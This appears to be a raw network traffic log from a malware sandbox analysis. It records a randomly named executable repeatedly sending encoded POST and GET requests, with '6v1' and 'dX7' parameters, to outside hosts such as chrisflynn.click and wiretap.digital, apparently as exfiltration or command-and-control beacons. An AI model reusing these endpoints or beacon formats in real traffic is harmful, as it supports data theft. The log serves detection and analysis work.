6v1=KM10C6ZSnYij0eCtk70FXlatTBnStdxsUDHSvzR1t9qZbFL3It3VMzg6WYnGPZDdMgxXR2xjf4/Dn/CGsrR61XaSyT+h271z/uREdFgPkykeSN/PsqrrqlsD/lXfYcgw8r/iLB3kFET2K6oG5iUofHqfMz92jqO22HATW2kDou7ncVjY5evb1+Yxdxdxf/O5QVUkz+Ci66EBv7IoPS5QhffRcIhW6VhES+YG3e13YOsbM+0l+IJM3sc6LB51CWzdhWf+YcKJGSE/kJPqk7cCIgzjc6cG0uOyFD5zW2PYWfmbButtKz1UZOmk5qgOsJuzO/uewLxO1jSf151ehR+Mc95zdZWHQPBY2iWTP0fc8oLq7XPuUrnCM0IYYA6QX7HpNjVbdMagZvF2qvogmEyksEmKh/q+GQmqpF9ERGAY2qIIubaxHJOqpYscFNV8cL+ZyE0Yw8E51CrVgKb1+NeL5qmmXL4LpvmcFoxznOcQgWcLHgNuEDTGLaw93UV7snrPKKd1udWDnDY1vprcN/2Oa0lzoz6EvKouh0yw6Rh3BnnSgfqTvUFUh6WP8tU02b+Iuox7JdiOwkHw1wev6FvbK18NSccmXVu18TfElEeiLWsGuBAmWUewzUkRZV45Jq0JODxxuZr94Wu0qpUMQy+ljBGEoPnckWNFouJq5NEb8Druj69XoP1NpyOsWSJKAWc24AIudYfP/n83Lntz0VxO2FP0JvP4lFeaqzJoCJiNpP+GqGpDCGp36X1fPQ8iYT/inxHbOvixfp/fObNPs5QPp+Jl8MuIhlpJ+O2tJzGAK5Qv9ymHUZHcW2t6Q/v23Am7Hwuz/N6wX85iPsV2t4CLSYwdDsftCrS8eo4k9AGnEUCukC+j7Za4/Ud28tLuqsWguAWQc6utwOpCb5SSZN4pwuxGO/H+i0uAnNqpwwuiAXY+7Td08zQa0+x8jRtrr2JqxPUVyD3UsXfpkYLEfGTuJEhpEtiT5B7jjTNB86HEKXhluAQ4 [TRUNCATED]
Oct 8, 2024 15:24:34.334958076 CEST	1530	OUT	Data Raw: 68 2f 36 6e 76 35 34 2b 62 78 31 45 65 4e 76 50 4b 48 53 42 77 65 51 6e 55 53 55 49 6f 50 31 4a 2b 50 78 4e 34 65 41 65 32 6a 67 6a 48 4d 70 57 55 58 46 50 41 74 66 61 71 70 6b 4b 64 78 6d 63 69 55 34 66 71 65 48 6a 52 64 76 76 39 4c 2b 71 4d 66 Data Ascii: h/6nv54+bx1EeNvPKHSBweQnUSUIoP1J+PxN4eAe2jgjHMpWUXFPAtfaqpkKdxmciU4fqeHjRdvv9L+qMfplRUArKXf1M33yugFgD5v48QmcpYQEq0N9yCrWSYjnkil1CXtsM6LIKohneC9XdczXV94Mv11KaMPViacw1Tl19k40p3RsEUeUW0/aW3rQji2gZp7399jqKofCq2QGS6i0ajZ3lGaXhznrRRUaV+eaFXSP3uHJBpC
Oct 8, 2024 15:24:34.516006947 CEST	1140	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:24:34 GMT Server: Apache Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Content-Length: 955 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"><html><head><meta http-equiv="Content-Type" content="text/css; charset=utf-8" /><title>Fehler 404 - Seite nicht gefunden</title><link rel="stylesheet" type="text/css" href="/mittwald_system_pages/css/style.css"> ...[if lte IE 6]><style type="text/css">div, img{ behavior:url(/mittwald_system_pages/scripts/iepngfix.htc) }</style><![endif]--></head><body><div id="box"><div id="oben"></div><div id="textbox"><div id="textboxcontent"><span class="rad"> </span> <h1>Seite nicht gefunden</h1> <p>Fehler 404 - Seite nicht gefunden<br />Die angeforderte Seite existiert nicht oder steht temporr nicht zur Verfgung.<br />Bitte versuchen Sie es spter noch einmal oder rufen Sie die Startseite der gewnschten Domain auf.</p></div></div><div id="unten"></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49783	188.94.252.140	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:37.049057961 CEST	535	OUT	GET /1c4z/?6v1=HOdUBM13o6qh/Put2qkCQWKcQS725qJuXwbhpRVTktrbAgiFAf3zM0waT5CdDpH3DywdT35OfcvI2v6miecF+h2Vz1+d56NK0tslEmN/v0UgevrB0PeN23Y=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.energy-market.net Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:24:37.228836060 CEST	1140	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:24:37 GMT Server: Apache Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Content-Length: 955 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"><html><head><meta http-equiv="Content-Type" content="text/css; charset=utf-8" /><title>Fehler 404 - Seite nicht gefunden</title><link rel="stylesheet" type="text/css" href="/mittwald_system_pages/css/style.css"> ...[if lte IE 6]><style type="text/css">div, img{ behavior:url(/mittwald_system_pages/scripts/iepngfix.htc) }</style><![endif]--></head><body><div id="box"><div id="oben"></div><div id="textbox"><div id="textboxcontent"><span class="rad"> </span> <h1>Seite nicht gefunden</h1> <p>Fehler 404 - Seite nicht gefunden<br />Die angeforderte Seite existiert nicht oder steht temporr nicht zur Verfgung.<br />Bitte versuchen Sie es spter noch einmal oder rufen Sie die Startseite der gewnschten Domain auf.</p></div></div><div id="unten"></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49784	3.131.150.69	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:42.496679068 CEST	803	OUT	POST /kn4j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.chrisflynn.click Origin: http://www.chrisflynn.click Referer: http://www.chrisflynn.click/kn4j/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 69 72 71 4c 50 79 35 67 51 62 61 30 4b 5a 51 2f 73 35 4f 39 56 70 31 4c 4e 79 37 75 36 4a 68 47 53 53 71 63 79 6b 7a 6f 35 72 67 61 47 6d 48 4e 43 34 4a 62 51 47 77 6e 79 6c 4e 48 2f 55 43 77 4a 7a 30 64 51 4d 34 63 46 42 50 51 7a 4b 4b 6c 64 6e 44 56 66 33 71 79 71 6d 52 4c 4f 34 59 6e 4d 79 4c 51 48 38 6f 4a 4d 72 63 56 67 4a 2f 33 4c 62 39 4f 2b 76 53 6e 6c 79 43 43 74 6c 67 79 57 59 55 70 71 50 59 4d 43 78 59 7a 5a 36 75 76 52 67 41 33 32 2f 38 46 31 57 78 7a 4f 50 52 33 31 45 61 69 35 52 4a 44 77 53 54 55 53 74 6d 64 55 58 32 7a 33 4e 56 73 43 73 54 32 62 75 4d 55 38 51 3d 3d Data Ascii: 6v1=irqLPy5gQba0KZQ/s5O9Vp1LNy7u6JhGSSqcykzo5rgaGmHNC4JbQGwnylNH/UCwJz0dQM4cFBPQzKKldnDVf3qyqmRLO4YnMyLQH8oJMrcVgJ/3Lb9O+vSnlyCCtlgyWYUpqPYMCxYzZ6uvRgA32/8F1WxzOPR31Eai5RJDwSTUStmdUX2z3NVsCsT2buMU8Q==
Oct 8, 2024 15:24:42.606559992 CEST	226	IN	HTTP/1.1 301 Moved Permanently Location: https://chrisflynn.click/kn4j/ Referer: http://www.chrisflynn.click/kn4j/ X-Redirector-Version: de64cf3 Date: Tue, 08 Oct 2024 13:24:42 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49785	3.131.150.69	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:45.137485027 CEST	823	OUT	POST /kn4j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.chrisflynn.click Origin: http://www.chrisflynn.click Referer: http://www.chrisflynn.click/kn4j/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 69 72 71 4c 50 79 35 67 51 62 61 30 4c 34 67 2f 6a 2b 36 39 65 70 31 49 49 79 37 75 30 70 67 50 53 53 6d 63 79 6e 2b 7a 34 5a 30 61 49 6a 37 4e 4e 5a 4a 62 63 6d 77 6e 39 46 4d 4e 69 6b 43 42 4a 7a 34 7a 51 4e 30 63 46 48 6a 51 7a 4b 36 6c 64 55 72 53 46 48 71 38 73 6d 52 4a 42 59 59 6e 4d 79 4c 51 48 38 38 6e 4d 72 6b 56 67 34 76 33 4c 36 39 4a 33 50 53 6b 74 53 43 43 70 6c 67 32 57 59 55 4c 71 4f 55 71 43 7a 67 7a 5a 37 65 76 57 78 41 32 76 50 38 48 37 32 77 66 64 4d 77 36 38 33 4b 76 2b 6d 39 42 31 33 53 73 65 62 33 48 4a 6c 43 58 30 65 4a 65 47 63 71 65 5a 73 4e 50 68 63 52 4f 49 4a 6f 36 7a 4a 62 2f 6e 34 38 66 63 43 6f 33 62 35 34 3d Data Ascii: 6v1=irqLPy5gQba0L4g/j+69ep1IIy7u0pgPSSmcyn+z4Z0aIj7NNZJbcmwn9FMNikCBJz4zQN0cFHjQzK6ldUrSFHq8smRJBYYnMyLQH88nMrkVg4v3L69J3PSktSCCplg2WYULqOUqCzgzZ7evWxA2vP8H72wfdMw683Kv+m9B13Sseb3HJlCX0eJeGcqeZsNPhcROIJo6zJb/n48fcCo3b54=
Oct 8, 2024 15:24:45.247586012 CEST	226	IN	HTTP/1.1 301 Moved Permanently Location: https://chrisflynn.click/kn4j/ Referer: http://www.chrisflynn.click/kn4j/ X-Redirector-Version: de64cf3 Date: Tue, 08 Oct 2024 13:24:45 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49786	3.131.150.69	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:47.775758028 CEST	2578	OUT	POST /kn4j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.chrisflynn.click Origin: http://www.chrisflynn.click Referer: http://www.chrisflynn.click/kn4j/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 69 72 71 4c 50 79 35 67 51 62 61 30 4c 34 67 2f 6a 2b 36 39 65 70 31 49 49 79 37 75 30 70 67 50 53 53 6d 63 79 6e 2b 7a 34 5a 4d 61 49 52 44 4e 4d 36 68 62 53 47 77 6e 30 6c 4d 4d 69 6b 43 6d 4a 33 55 2f 51 4e 4a 70 46 43 2f 51 79 6f 79 6c 4b 56 72 53 51 58 71 38 68 47 52 4d 4f 34 59 79 4d 7a 6e 55 48 38 73 6e 4d 72 6b 56 67 37 6e 33 43 4c 39 4a 78 50 53 6e 6c 79 43 65 74 6c 67 65 57 59 64 30 71 4f 51 63 58 53 41 7a 5a 62 4f 76 54 44 59 32 6e 50 38 2f 38 32 77 48 64 4d 39 36 38 33 58 51 2b 6d 68 72 31 77 75 73 50 2f 79 77 54 30 61 56 33 39 39 39 45 6f 71 58 59 4e 4e 4d 69 65 52 62 50 5a 73 4f 37 5a 53 6f 73 65 77 4c 49 6a 38 66 4f 66 4e 58 5a 42 6a 51 48 37 6c 56 46 44 76 69 31 56 34 7a 53 70 69 39 41 52 47 52 5a 48 32 59 77 54 62 54 51 41 6f 67 39 4b 57 2b 79 45 72 30 6b 48 42 62 63 75 66 58 42 6b 53 38 4d 35 6a 73 64 39 30 43 42 78 6b 4b 33 34 6c 46 46 35 62 7a 69 2b 32 7a 59 74 6d 74 4d 30 4d 47 32 4c 53 4d 68 4a 56 4f 64 59 62 4e 61 36 72 4c 6d 67 70 68 68 55 71 4e 66 4a 62 46 4d 77 [TRUNCATED] Data Ascii: 6v1=irqLPy5gQba0L4g/j+69ep1IIy7u0pgPSSmcyn+z4ZMaIRDNM6hbSGwn0lMMikCmJ3U/QNJpFC/QyoylKVrSQXq8hGRMO4YyMznUH8snMrkVg7n3CL9JxPSnlyCetlgeWYd0qOQcXSAzZbOvTDY2nP8/82wHdM9683XQ+mhr1wusP/ywT0aV3999EoqXYNNMieRbPZsO7ZSosewLIj8fOfNXZBjQH7lVFDvi1V4zSpi9ARGRZH2YwTbTQAog9KW+yEr0kHBbcufXBkS8M5jsd90CBxkK34lFF5bzi+2zYtmtM0MG2LSMhJVOdYbNa6rLmgphhUqNfJbFMw3vZh+IztYuyxcXHRt782keo+cqToWupf41HxGld2Mq1Q1mVsY3TuKu5+rBGTrY18qMtw+abFfPbGYd+GI9XN+K8kvvKiIyS2HBHNMDMbzniQl4saUA+dI+brFF0CnX4lwxvO7J+aWgeQWwt0qj4b6RDqv6VOdQmZiRkkpNBlg0YY764/3TnN6jKhbWsG7//jUTXyx9Dt8J2MpgCxUFigIFUzf0iRNFNCuse77Impeyx4EmjwQx5FlSS5/bdoyQWZXlSv6Xrqn1tvZZXGlvgyClYXjHjHXegzVjSOdl/Lc6Hy5s3QD9m6AzpBf2fgBcVk1gtC5rFin4PmjlOM0CuveSwUzxCCy2AzZ/UjIF6gPJz4TWcuaHMW2v1vy/j5G4maWsdyJeiiOAiM9tHr8+S6pMKVcg1/I7Ig0zkQpCOa1BnGuZovNAJV7A8bMKNFThtq6s0uzpKX7CgF7IsxPd+DLr+qHu9YoHxCg0uRD2zSYR8K9pAAZz0m1NbqSIGO8WcZnpSODBAdhnthmc0EJ0Z/Lv/55YQK2rB7eRyIyQd7DNTckjhWoA6acVSpx3ktcKTfV+HoAFnS8EJofS1TMZkh4NlaS2OE3vjeW/7hGKmAXcRtOBT/sUVhhOPvDU5ov6G1D0V0YmgQkPgcIlTGW5x9jNjeobhta/y/lE [TRUNCATED]
Oct 8, 2024 15:24:47.775818110 CEST	5394	OUT	Data Raw: 6f 4f 64 6e 41 6d 35 6e 69 41 42 65 47 4d 6e 41 42 51 6d 58 7a 6b 7a 61 75 4e 30 67 33 55 6e 37 2f 42 50 37 62 5a 55 5a 65 50 4c 51 41 53 73 6f 65 79 61 30 74 34 48 41 71 63 52 6e 33 63 4b 64 36 54 57 76 6b 66 6c 38 4e 69 47 31 59 44 54 31 48 6d Data Ascii: oOdnAm5niABeGMnABQmXzkzauN0g3Un7/BP7bZUZePLQASsoeya0t4HAqcRn3cKd6TWvkfl8NiG1YDT1HmHOvg9dSMvhdya4MibWndz46Mk8vcKDo2/mwPlWoC8p6IlQoVHQ3NWo3d2wrBGxDg2V+/XFjS+2zJdepakVQe0v7PSLmqsKqzSglGdOcc4h4+Xcn6Zu1uIcGEVnobfLZyZe0sxNWVWTI5u/ZIktd+Vo1uShOaNKdOd
Oct 8, 2024 15:24:47.884339094 CEST	226	IN	HTTP/1.1 301 Moved Permanently Location: https://chrisflynn.click/kn4j/ Referer: http://www.chrisflynn.click/kn4j/ X-Redirector-Version: de64cf3 Date: Tue, 08 Oct 2024 13:24:47 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49787	3.131.150.69	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:50.414541006 CEST	534	OUT	GET /kn4j/?6v1=vpCrMCAdfu65HIAf09CQR4tGFi3IrrdSSSqQznfgwOIFTGDRF6xAYU038HlDgieoMTBYH8MmEH7P6rywcgf5Sjq+nVZ5KqEIMUiYHuljCto3tYTrG+wqg/s=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.chrisflynn.click Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:24:50.524312019 CEST	581	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=utf-8 Location: https://chrisflynn.click/kn4j/?6v1=vpCrMCAdfu65HIAf09CQR4tGFi3IrrdSSSqQznfgwOIFTGDRF6xAYU038HlDgieoMTBYH8MmEH7P6rywcgf5Sjq+nVZ5KqEIMUiYHuljCto3tYTrG+wqg%2Fs%3D&dX7=sns4Fhmpql X-Redirector-Version: de64cf3 Date: Tue, 08 Oct 2024 13:24:50 GMT Content-Length: 213 Connection: close Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 68 72 69 73 66 6c 79 6e 6e 2e 63 6c 69 63 6b 2f 6b 6e 34 6a 2f 3f 36 76 31 3d 76 70 43 72 4d 43 41 64 66 75 36 35 48 49 41 66 30 39 43 51 52 34 74 47 46 69 33 49 72 72 64 53 53 53 71 51 7a 6e 66 67 77 4f 49 46 54 47 44 52 46 36 78 41 59 55 30 33 38 48 6c 44 67 69 65 6f 4d 54 42 59 48 38 4d 6d 45 48 37 50 36 72 79 77 63 67 66 35 53 6a 71 2b 6e 56 5a 35 4b 71 45 49 4d 55 69 59 48 75 6c 6a 43 74 6f 33 74 59 54 72 47 2b 77 71 67 25 32 46 73 25 33 44 26 61 6d 70 3b 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://chrisflynn.click/kn4j/?6v1=vpCrMCAdfu65HIAf09CQR4tGFi3IrrdSSSqQznfgwOIFTGDRF6xAYU038HlDgieoMTBYH8MmEH7P6rywcgf5Sjq+nVZ5KqEIMUiYHuljCto3tYTrG+wqg%2Fs%3D&dX7=sns4Fhmpql">Moved Permanently</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49788	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:00.769273043 CEST	800	OUT	POST /eytd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.wiretap.digital Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/eytd/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 4b 64 76 58 63 32 4c 58 45 59 69 64 79 70 4b 42 53 35 74 6a 34 4b 50 4e 65 49 32 78 4c 33 4b 62 76 4a 6e 71 46 77 79 48 61 6b 6a 54 54 4b 33 76 4d 54 42 4a 6e 63 69 57 47 73 4d 65 52 35 51 61 53 38 54 30 4c 53 32 50 32 6a 65 64 61 78 6b 62 51 4a 4c 6d 30 71 41 4e 50 4e 57 36 2b 67 36 44 48 54 67 41 69 4e 36 52 63 70 62 73 79 6c 4e 51 41 56 6a 38 6b 54 41 65 74 35 45 61 31 4b 55 70 68 41 6d 65 30 34 56 50 4e 6f 64 68 44 4e 41 65 38 6d 69 4c 4c 74 46 39 6b 62 77 36 36 44 42 55 4a 62 77 67 35 74 6e 36 6a 38 72 63 53 46 43 51 69 46 46 57 4c 66 4d 32 43 48 78 78 53 31 54 66 78 67 3d 3d Data Ascii: 6v1=KdvXc2LXEYidypKBS5tj4KPNeI2xL3KbvJnqFwyHakjTTK3vMTBJnciWGsMeR5QaS8T0LS2P2jedaxkbQJLm0qANPNW6+g6DHTgAiN6RcpbsylNQAVj8kTAet5Ea1KUphAme04VPNodhDNAe8miLLtF9kbw66DBUJbwg5tn6j8rcSFCQiFFWLfM2CHxxS1Tfxg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49789	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:03.403951883 CEST	820	OUT	POST /eytd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.wiretap.digital Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/eytd/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 4b 64 76 58 63 32 4c 58 45 59 69 64 7a 4a 36 42 51 5a 52 6a 76 36 50 4b 48 34 32 78 64 48 4b 66 76 4a 6a 71 46 79 66 66 61 58 58 54 51 71 6e 76 65 52 70 4a 6d 63 69 57 4f 4d 4d 68 63 5a 51 42 53 39 76 57 4c 51 69 50 32 6a 61 64 61 78 30 62 51 34 4c 35 6d 4b 41 50 48 74 57 43 68 77 36 44 48 54 67 41 69 4a 72 30 63 70 44 73 79 55 39 51 42 33 48 37 36 44 41 64 75 35 45 61 6b 36 55 74 68 41 6e 4c 30 35 59 71 4e 71 6c 68 44 4e 77 65 2f 79 57 49 42 74 46 2f 35 4c 78 59 33 44 67 39 48 4c 39 55 34 75 33 6b 6a 2f 75 6c 61 7a 54 4b 2f 33 78 79 49 4d 51 45 47 33 49 5a 51 33 53 45 73 72 69 52 56 71 54 69 62 6a 49 73 46 37 4e 79 35 65 6f 4f 41 4d 34 3d Data Ascii: 6v1=KdvXc2LXEYidzJ6BQZRjv6PKH42xdHKfvJjqFyffaXXTQqnveRpJmciWOMMhcZQBS9vWLQiP2jadax0bQ4L5mKAPHtWChw6DHTgAiJr0cpDsyU9QB3H76DAdu5Eak6UthAnL05YqNqlhDNwe/yWIBtF/5LxY3Dg9HL9U4u3kj/ulazTK/3xyIMQEG3IZQ3SEsriRVqTibjIsF7Ny5eoOAM4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49790	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:06.043550968 CEST	1289	OUT	POST /eytd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.wiretap.digital Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/eytd/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 4b 64 76 58 63 32 4c 58 45 59 69 64 7a 4a 36 42 51 5a 52 6a 76 36 50 4b 48 34 32 78 64 48 4b 66 76 4a 6a 71 46 79 66 66 61 57 76 54 54 5a 66 76 4d 77 70 4a 6c 63 69 57 45 73 4d 61 63 5a 52 44 53 39 33 53 4c 51 2b 35 32 68 53 64 62 53 4d 62 57 4d 66 35 2f 36 41 50 46 74 57 35 2b 67 36 53 48 54 77 4d 69 4e 50 30 63 70 44 73 79 58 6c 51 49 46 6a 37 34 44 41 65 74 35 45 57 31 4b 55 46 68 41 4f 77 30 35 63 51 4d 5a 74 68 45 70 63 65 7a 68 2b 49 62 74 46 78 34 4c 78 2b 33 44 73 6d 48 50 55 76 34 71 2f 65 6a 38 